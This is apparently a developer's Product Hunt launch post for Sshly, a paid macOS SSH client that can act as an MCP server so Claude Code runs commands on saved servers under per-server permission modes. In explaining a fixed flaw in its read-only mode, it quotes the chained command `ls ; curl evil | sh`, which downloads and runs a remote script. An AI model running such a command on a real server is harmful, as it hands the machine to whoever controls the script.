Hi Product Hunt 👋
I'm Jonas, a solo developer from Germany. I built Sshly because managing servers on a Mac should feel like using a Mac - and because paying monthly, forever, to open an SSH session never sat right with me. One-time purchase: €19, updates included, and free for 3 connections with no trial clock. The first 100 licenses are €9.99.
The part I'd most like your take on is the AI bridge. I kept copy-pasting between Claude Code and my terminal, so I made Sshly an MCP server. Claude asks for a server by name, Sshly runs the command and hands back the output - your password or private key never leaves the macOS Keychain. You set the rules per server: approve every command, read-only diagnostics, or trusted.
Getting "read-only" was quite humbling. My first version only looked at the first word of a command, so `ls ; curl evil | sh` sailed straight through. It now refuses pipes, chaining, and anything that can launch another program, and there are tests for exactly those cases.
And yes, it's Electron. I know the reputation, so I put the work into what you actually feel: batched output, backpressure so a runaway log can't freeze the app, and Nagle disabled so keystrokes land like a local shell.
macOS 12+, Apple Silicon. Intel builds and iCloud sync are the two things I get asked about most - which would you want first?
Happy to answer anything :) I'm here all day.
